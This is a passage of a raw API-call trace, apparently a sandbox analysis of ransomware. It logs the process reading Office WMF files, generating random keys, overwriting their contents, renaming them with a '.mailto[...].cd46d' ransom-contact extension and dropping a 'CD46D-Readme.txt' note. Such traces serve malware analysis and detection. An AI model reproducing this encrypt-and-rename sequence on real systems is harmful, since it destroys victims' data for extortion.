CurrentTime=0x19e1fe94*=132174898233660000) returned 0x0 [0059.387] RtlRandomEx (in: Seed=0x19e1fea0 | out: Seed=0x19e1fea0) returned 0x3373b941 [0059.387] RtlRandomEx (in: Seed=0x19e1fea0 | out: Seed=0x19e1fea0) returned 0x69cb8ecc [0059.387] RtlRandomEx (in: Seed=0x19e1fea0 | out: Seed=0x19e1fea0) returned 0x1862a55f [0059.387] RtlRandomEx (in: Seed=0x19e1fea0 | out: Seed=0x19e1fea0) returned 0x646d6cbe [0059.387] RtlRandomEx (in: Seed=0x19e1fea0 | out: Seed=0x19e1fea0) returned 0x65a0bf37 [0059.387] RtlRandomEx (in: Seed=0x19e1fea0 | out: Seed=0x19e1fea0) returned 0xd12350d [0059.387] RtlRandomEx (in: Seed=0x19e1fea0 | out: Seed=0x19e1fea0) returned 0x1a625020 [0059.387] RtlRandomEx (in: Seed=0x19e1fea0 | out: Seed=0x19e1fea0) returned 0x3ed70d5d [0059.388] RtlRandomEx (in: Seed=0x19e1fea0 | out: Seed=0x19e1fea0) returned 0x27aad486 [0059.388] RtlRandomEx (in: Seed=0x19e1fea0 | out: Seed=0x19e1fea0) returned 0x5580d114 [0059.388] RtlRandomEx (in: Seed=0x19e1fea0 | out: Seed=0x19e1fea0) returned 0x5cd95075 [0059.388] RtlRandomEx (in: Seed=0x19e1fea0 | out: Seed=0x19e1fea0) returned 0x232a5dbc [0059.388] RtlRandomEx (in: Seed=0x19e1fea0 | out: Seed=0x19e1fea0) returned 0x316c4d95 [0059.388] RtlRandomEx (in: Seed=0x19e1fea0 | out: Seed=0x19e1fea0) returned 0x7a1f5b9b [0059.388] RtlRandomEx (in: Seed=0x19e1fea0 | out: Seed=0x19e1fea0) returned 0x494ebe1d [0059.388] RtlRandomEx (in: Seed=0x19e1fea0 | out: Seed=0x19e1fea0) returned 0x15b6e739 [0059.388] RtlRandomEx (in: Seed=0x19e1fea0 | out: Seed=0x19e1fea0) returned 0x39372590 [0059.388] RtlRandomEx (in: Seed=0x19e1fea0 | out: Seed=0x19e1fea0) returned 0x3039fa6c [0059.388] RtlRandomEx (in: Seed=0x19e1fea0 | out: Seed=0x19e1fea0) returned 0x205f4d62 [0059.388] RtlRandomEx (in: Seed=0x19e1fea0 | out: Seed=0x19e1fea0) returned 0x443d897a [0059.388] RtlRandomEx (in: Seed=0x19e1fea0 | out: Seed=0x19e1fea0) returned 0x433ec85a [0059.388] RtlRandomEx (in: Seed=0x19e1fea0 | out: Seed=0x19e1fea0) returned 0x12f5c693 [0059.388] RtlRandomEx (in: Seed=0x19e1fea0 | out: Seed=0x19e1fea0) returned 0x3bbdc3a2 [0059.388] RtlRandomEx (in: Seed=0x19e1fea0 | out: Seed=0x19e1fea0) returned 0x5debc02c [0059.388] RtlRandomEx (in: Seed=0x19e1fea0 | out: Seed=0x19e1fea0) returned 0x2834f99 [0059.388] RtlRandomEx (in: Seed=0x19e1fea0 | out: Seed=0x19e1fea0) returned 0x3a3697b2 [0059.388] RtlRandomEx (in: Seed=0x19e1fea0 | out: Seed=0x19e1fea0) returned 0x13106306 [0059.388] RtlRandomEx (in: Seed=0x19e1fea0 | out: Seed=0x19e1fea0) returned 0x225964eb [0059.388] RtlRandomEx (in: Seed=0x19e1fea0 | out: Seed=0x19e1fea0) returned 0x53a0d4c9 [0059.388] RtlRandomEx (in: Seed=0x19e1fea0 | out: Seed=0x19e1fea0) returned 0x1f599cde [0059.388] RtlRandomEx (in: Seed=0x19e1fea0 | out: Seed=0x19e1fea0) returned 0x713736bf [0059.388] RtlRandomEx (in: Seed=0x19e1fea0 | out: Seed=0x19e1fea0) returned 0x10ebefd4 [0059.403] ReadFile (in: hFile=0x3dc, lpBuffer=0x194d0048, nNumberOfBytesToRead=0x8da, lpNumberOfBytesRead=0x19e1fe90, lpOverlapped=0x0 | out: lpBuffer=0x194d0048*, lpNumberOfBytesRead=0x19e1fe90*=0x8da, lpOverlapped=0x0) returned 1 [0059.403] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.403] WriteFile (in: hFile=0x3dc, lpBuffer=0x5e60870*, nNumberOfBytesToWrite=0x8da, lpNumberOfBytesWritten=0x19e1fe8c, lpOverlapped=0x0 | out: lpBuffer=0x5e60870*, lpNumberOfBytesWritten=0x19e1fe8c*=0x8da, lpOverlapped=0x0) returned 1 [0061.383] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428b68 [0061.383] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428b90 [0061.383] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428b90) returned 1 [0061.383] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e60870) returned 1 [0061.383] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x194d0048) returned 1 [0061.383] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4375f8) returned 1 [0061.383] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bce8) returned 1 [0061.383] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x4e0150 [0061.383] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.383] WriteFile (in: hFile=0x3dc, lpBuffer=0x12d7d110*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x19e1fef4, lpOverlapped=0x0 | out: lpBuffer=0x12d7d110*, lpNumberOfBytesWritten=0x19e1fef4*=0x109, lpOverlapped=0x0) returned 1 [0061.477] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7d110) returned 1 [0061.477] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e0180) returned 1 [0061.477] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428b90) returned 1 [0061.477] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e0150) returned 1 [0061.477] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428b68) returned 1 [0061.477] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf438) returned 1 [0061.478] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf488) returned 1 [0061.478] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf4b0) returned 1 [0061.478] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd6) returned 0x4d40e0 [0061.478] wcscpy (in: _Dest=0x4d40e0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18206_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18206_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18206_.WMF" [0061.478] wcscat (in: _Dest=0x4d40e0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18206_.WMF.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18206_.WMF.mailto[2Hamlampampom@cock.li].cd46d" [0061.478] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18206_.WMF.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x19e1feac, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18206_.WMF.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0061.478] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xec) returned 0x4de000 [0061.495] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4de000) returned 1 [0061.495] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e1e828) returned 1 [0061.495] NtQueryInformationFile (in: FileHandle=0x3dc, IoStatusBlock=0x19e1feb8, FileInformation=0x19e1fe90, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x19e1feb8, FileInformation=0x19e1fe90) returned 0x0 [0061.495] NtSetInformationFile (FileHandle=0x3dc, IoStatusBlock=0x19e1feb8, FileInformation=0x19e1fe90, Length=0x28, FileInformationClass=0x4) returned 0x0 [0061.498] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d40e0) returned 1 [0061.498] FlushFileBuffers (hFile=0x3dc) returned 1 [0062.197] CloseHandle (hObject=0x3dc) returned 1 [0062.645] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x98) returned 0x5ec5688 [0062.645] wcscpy (in: _Dest=0x5ec5688, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0062.645] wcscat (in: _Dest=0x5ec5688, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\CD46D-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\CD46D-Readme.txt" [0062.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\CD46D-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\cd46d-readme.txt")) returned 0xffffffff [0062.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\CD46D-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x650 [0063.176] WriteFile (in: hFile=0x650, lpBuffer=0x419f90*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x19e1feb4, lpOverlapped=0x0 | out: lpBuffer=0x419f90*, lpNumberOfBytesWritten=0x19e1feb4*=0x6fd, lpOverlapped=0x0) returned 1 [0063.177] CloseHandle (hObject=0x650) returned 1 [0064.340] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec5688) returned 1 [0064.340] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cd140) returned 1 Thread: id = 1094 os_tid = 0x9a0 [0057.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18207_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18207_.wmf")) returned 0x20 [0059.404] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18207_.WMF", dwFileAttributes=0x20) returned 1 [0059.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18207_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18207_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe74 [0059.404] GetFileSizeEx (in: hFile=0xe74, lpFileSize=0x19dcf7d4 | out: lpFileSize=0x19dcf7d4*=4028) returned 1 [0059.404] SetFilePointerEx (in: hFile=0xe74, liDistanceToMove=0xfb8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.404] ReadFile (in: hFile=0xe74, lpBuffer=0x19dcf758, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x19dcf754, lpOverlapped=0x0 | out: lpBuffer=0x19dcf758*, lpNumberOfBytesRead=0x19dcf754*=0x4, lpOverlapped=0x0) returned 1 [0059.406] SetFilePointerEx (in: hFile=0xe74, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.406] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf410 [0059.406] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf460 [0059.406] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf4d8 [0059.406] NtQuerySystemTime (in: CurrentTime=0x19dcf734 | out: CurrentTime=0x19dcf734*=132174898233816000) returned 0x0 [0059.406] RtlRandomEx (in: Seed=0x19dcf740 | out: Seed=0x19dcf740) returned 0x47eeb5d5 [0059.406] RtlRandomEx (in: Seed=0x19dcf740 | out: Seed=0x19dcf740) returned 0x447c86bd [0059.406] RtlRandomEx (in: Seed=0x19dcf740 | out: Seed=0x19dcf740) returned 0x53977745 [0059.406] RtlRandomEx (in: Seed=0x19dcf740 | out: Seed=0x19dcf740) returned 0x3ff0da81 [0059.406] RtlRandomEx (in: Seed=0x19dcf740 | out: Seed=0x19dcf740) returned 0x1082fe14 [0059.407] RtlRandomEx (in: Seed=0x19dcf740 | out: Seed=0x19dcf740) returned 0x70dba59f [0059.407] RtlRandomEx (in: Seed=0x19dcf740 | out: Seed=0x19dcf740) returned 0x5de20310 [0059.407] RtlRandomEx (in: Seed=0x19dcf740 | out: Seed=0x19dcf740) returned 0x6a557c58 [0059.407] RtlRandomEx (in: Seed=0x19dcf740 | out: Seed=0x19dcf740) returned 0x37d46c43 [0059.407] RtlRandomEx (in: Seed=0x19dcf740 | out: Seed=0x19dcf740) returned 0x79359945 [0059.407] RtlRandomEx (in: Seed=0x19dcf740 | out: Seed=0x19dcf740) returned 0x35fd0e52 [0059.407] RtlRandomEx (in: Seed=0x19dcf740 | out: Seed=0x19dcf740) returned 0x47a8a169 [0059.407] RtlRandomEx (in: Seed=0x19dcf740 | out: Seed=0x19dcf740) returned 0x197f1bfd [0059.407] RtlRandomEx (in: Seed=0x19dcf740 | out: Seed=0x19dcf740) returned 0x53212d11 [0059.407] RtlRandomEx (in: Seed=0x19dcf740 | out: Seed=0x19dcf740) returned 0x64fae538 [0059.407] RtlRandomEx (in: Seed=0x19dcf740 | out: Seed=0x19dcf740) returned 0x52ca4714 [0059.407] RtlRandomEx (in: Seed=0x19dcf740 | out: Seed=0x19dcf740) returned 0x56ca2259 [0059.407] RtlRandomEx (in: Seed=0x19dcf740 | out: Seed=0x19dcf740) returned 0x2dc81254 [0059.407] RtlRandomEx (in: Seed=0x19dcf740 | out: Seed=0x19dcf740) returned 0x63afd0c3 [0059.407] RtlRandomEx (in: Seed=0x19dcf740 | out: Seed=0x19dcf740) returned 0x25e65c2d [0059.407] RtlRandomEx (in: Seed=0x19dcf740 | out: Seed=0x19dcf740) returned 0x4ca83e57 [0059.407] RtlRandomEx (in: Seed=0x19dcf740 | out: Seed=0x19dcf740) returned 0x166329b8 [0059.407] RtlRandomEx (in: Seed=0x19dcf740 | out: Seed=0x19dcf740) returned 0x32afd3f7 [0059.407] RtlRandomEx (in: Seed=0x19dcf740 | out: Seed=0x19dcf740) returned 0x2aca526a [0059.407] RtlRandomEx (in: Seed=0x19dcf740 | out: Seed=0x19dcf740) returned 0xcca7354 [0059.407] RtlRandomEx (in: Seed=0x19dcf740 | out: Seed=0x19dcf740) returned 0x1101f69 [0059.407] RtlRandomEx (in: Seed=0x19dcf740 | out: Seed=0x19dcf740) returned 0xe831913 [0059.407] RtlRandomEx (in: Seed=0x19dcf740 | out: Seed=0x19dcf740) returned 0x37990823 [0059.407] RtlRandomEx (in: Seed=0x19dcf740 | out: Seed=0x19dcf740) returned 0x2eda319e [0059.407] RtlRandomEx (in: Seed=0x19dcf740 | out: Seed=0x19dcf740) returned 0x78d7a1a1 [0059.407] RtlRandomEx (in: Seed=0x19dcf740 | out: Seed=0x19dcf740) returned 0x28d90955 [0059.407] RtlRandomEx (in: Seed=0x19dcf740 | out: Seed=0x19dcf740) returned 0xb0b2891 [0059.422] ReadFile (in: hFile=0xe74, lpBuffer=0x19808810, nNumberOfBytesToRead=0xfbc, lpNumberOfBytesRead=0x19dcf730, lpOverlapped=0x0 | out: lpBuffer=0x19808810*, lpNumberOfBytesRead=0x19dcf730*=0xfbc, lpOverlapped=0x0) returned 1 [0059.422] SetFilePointerEx (in: hFile=0xe74, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.422] WriteFile (in: hFile=0xe74, lpBuffer=0x19597830*, nNumberOfBytesToWrite=0xfbc, lpNumberOfBytesWritten=0x19dcf72c, lpOverlapped=0x0 | out: lpBuffer=0x19597830*, lpNumberOfBytesWritten=0x19dcf72c*=0xfbc, lpOverlapped=0x0) returned 1 [0062.480] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0268 [0062.480] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d07b8 [0062.480] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d07b8) returned 1 [0062.480] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19597830) returned 1 [0062.483] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19808810) returned 1 [0062.483] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437760) returned 1 [0062.483] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bc10) returned 1 [0062.483] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x4e0480 [0062.483] SetFilePointerEx (in: hFile=0xe74, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.484] WriteFile (in: hFile=0xe74, lpBuffer=0x12d7d7a0*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x19dcf794, lpOverlapped=0x0 | out: lpBuffer=0x12d7d7a0*, lpNumberOfBytesWritten=0x19dcf794*=0x109, lpOverlapped=0x0) returned 1 [0062.834] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7d7a0) returned 1 [0062.834] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e0390) returned 1 [0062.834] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d07b8) returned 1 [0062.834] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e0480) returned 1 [0062.834] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0268) returned 1 [0062.834] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf460) returned 1 [0062.834] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf500) returned 1 [0062.834] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf528) returned 1 [0062.834] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd6) returned 0x4d4460 [0062.834] wcscpy (in: _Dest=0x4d4460, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18207_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18207_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18207_.WMF" [0062.834] wcscat (in: _Dest=0x4d4460, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18207_.WMF.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18207_.WMF.mailto[2Hamlampampom@cock.li].cd46d" [0062.834] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18207_.WMF.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x19dcf74c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18207_.WMF.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0062.834] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xec) returned 0x4de3e0 [0063.169] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4de3e0) returned 1 [0063.169] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e1db38) returned 1 [0063.169] NtQueryInformationFile (in: FileHandle=0xe74, IoStatusBlock=0x19dcf758, FileInformation=0x19dcf730, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x19dcf758, FileInformation=0x19dcf730) returned 0x0 [0063.170] NtSetInformationFile (FileHandle=0xe74, IoStatusBlock=0x19dcf758, FileInformation=0x19dcf730, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.174] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d4460) returned 1 [0063.174] FlushFileBuffers (hFile=0xe74) returned 1 [0066.201] CloseHandle (hObject=0xe74) Thread: id = 1095 os_tid = 0x1018 [0059.423] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18208_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18208_.wmf")) returned 0x20 [0059.423] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18208_.WMF", dwFileAttributes=0x20) returned 1 [0059.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18208_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18208_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1168 [0059.423] GetFileSizeEx (in: hFile=0x1168, lpFileSize=0x19ebff3c | out: lpFileSize=0x19ebff3c*=6952) returned 1 [0059.423] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x1b24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.423] ReadFile (in: hFile=0x1168, lpBuffer=0x19ebfec0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x19ebfebc, lpOverlapped=0x0 | out: lpBuffer=0x19ebfec0*, lpNumberOfBytesRead=0x19ebfebc*=0x4, lpOverlapped=0x0) returned 1 [0059.425] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.425] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf410 [0059.425] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf4d8 [0059.425] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf550 [0059.425] NtQuerySystemTime (in: CurrentTime=0x19ebfe9c | out: CurrentTime=0x19ebfe9c*=132174898234128000) returned 0x0 [0059.425] RtlRandomEx (in: Seed=0x19ebfea8 | out: Seed=0x19ebfea8) returned 0x6a9b8c76 [0059.425] RtlRandomEx (in: Seed=0x19ebfea8 | out: Seed=0x19ebfea8) returned 0x35e36b7d [0059.425] RtlRandomEx (in: Seed=0x19ebfea8 | out: Seed=0x19ebfea8) returned 0x28c5f501 [0059.425] RtlRandomEx (in: Seed=0x19ebfea8 | out: Seed=0x19ebfea8) returned 0x20bd57c4 [0059.425] RtlRandomEx (in: Seed=0x19ebfea8 | out: Seed=0x19ebfea8) returned 0x66da8c86 [0059.425] RtlRandomEx (in: Seed=0x19ebfea8 | out: Seed=0x19ebfea8) returned 0x13eab752 [0059.425] RtlRandomEx (in: Seed=0x19ebfea8 | out: Seed=0x19ebfea8) returned 0x54423013 [0059.425] RtlRandomEx (in: Seed=0x19ebfea8 | out: Seed=0x19ebfea8) returned 0x4e0b5d26 [0059.425] RtlRandomEx (in: Seed=0x19ebfea8 | out: Seed=0x19ebfea8) returned 0x79a48a04 [0059.425] RtlRandomEx (in: Seed=0x19ebfea8 | out: Seed=0x19ebfea8) returned 0x16897914 [0059.425] RtlRandomEx (in: Seed=0x19ebfea8 | out: Seed=0x19ebfea8) returned 0x62d84ee9 [0059.425] RtlRandomEx (in: Seed=0x19ebfea8 | out: Seed=0x19ebfea8) returned 0x1a7da572 [0059.426] RtlRandomEx (in: Seed=0x19ebfea8 | out: Seed=0x19ebfea8) returned 0x36d60200 [0059.426] RtlRandomEx (in: Seed=0x19ebfea8 | out: Seed=0x19ebfea8) returned 0x76be08bc [0059.426] RtlRandomEx (in: Seed=0x19ebfea8 | out: Seed=0x19ebfea8) returned 0x611fcae4 [0059.426] RtlRandomEx (in: Seed=0x19ebfea8 | out: Seed=0x19ebfea8) returned 0x394c8edb [0059.426] RtlRandomEx (in: Seed=0x19ebfea8 | out: Seed=0x19ebfea8) returned 0x333730d [0059.426] RtlRandomEx (in: Seed=0x19ebfea8 | out: Seed=0x19ebfea8) returned 0x13536153 [0059.426] RtlRandomEx (in: Seed=0x19ebfea8 | out: Seed=0x19ebfea8) returned 0x6ad8a98a [0059.426] RtlRandomEx (in: Seed=0x19ebfea8 | out: Seed=0x19ebfea8) returned 0x410b09b0 [0059.426] RtlRandomEx (in: Seed=0x19ebfea8 | out: Seed=0x19ebfea8) returned 0x6cddca61 [0059.426] RtlRandomEx (in: Seed=0x19ebfea8 | out: Seed=0x19ebfea8) returned 0x14316469 [0059.426] RtlRandomEx (in: Seed=0x19ebfea8 | out: Seed=0x19ebfea8) returned 0xa7e3bc4 [0059.426] RtlRandomEx (in: Seed=0x19ebfea8 | out: Seed=0x19ebfea8) returned 0x49105f12 [0059.426] RtlRandomEx (in: Seed=0x19ebfea8 | out: Seed=0x19ebfea8) returned 0x7f0f5637 [0059.426] RtlRandomEx (in: Seed=0x19ebfea8 | out: Seed=0x19ebfea8) returned 0x224a3202 [0059.426] RtlRandomEx (in: Seed=0x19ebfea8 | out: Seed=0x19ebfea8) returned 0x52c46701 [0059.426] RtlRandomEx (in: Seed=0x19ebfea8 | out: Seed=0x19ebfea8) returned 0x2c363b6f [0059.426] RtlRandomEx (in: Seed=0x19ebfea8 | out: Seed=0x19ebfea8) returned 0x5d2e590d [0059.426] RtlRandomEx (in: Seed=0x19ebfea8 | out: Seed=0x19ebfea8) returned 0x21649934 [0059.426] RtlRandomEx (in: Seed=0x19ebfea8 | out: Seed=0x19ebfea8) returned 0x44a21e49 [0059.426] RtlRandomEx (in: Seed=0x19ebfea8 | out: Seed=0x19ebfea8) returned 0x1eb10996 [0059.440] ReadFile (in: hFile=0x1168, lpBuffer=0x12ddd830, nNumberOfBytesToRead=0x1b28, lpNumberOfBytesRead=0x19ebfe98, lpOverlapped=0x0 | out: lpBuffer=0x12ddd830*, lpNumberOfBytesRead=0x19ebfe98*=0x1b28, lpOverlapped=0x0) returned 1 [0059.441] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.441] WriteFile (in: hFile=0x1168, lpBuffer=0x12d8a9b0*, nNumberOfBytesToWrite=0x1b28, lpNumberOfBytesWritten=0x19ebfe94, lpOverlapped=0x0 | out: lpBuffer=0x12d8a9b0*, lpNumberOfBytesWritten=0x19ebfe94*=0x1b28, lpOverlapped=0x0) returned 1 [0062.484] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0448 [0062.484] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0498 [0062.484] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0498) returned 1 [0062.484] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d8a9b0) returned 1 [0062.484] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12ddd830) returned 1 [0062.487] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437aa8) returned 1 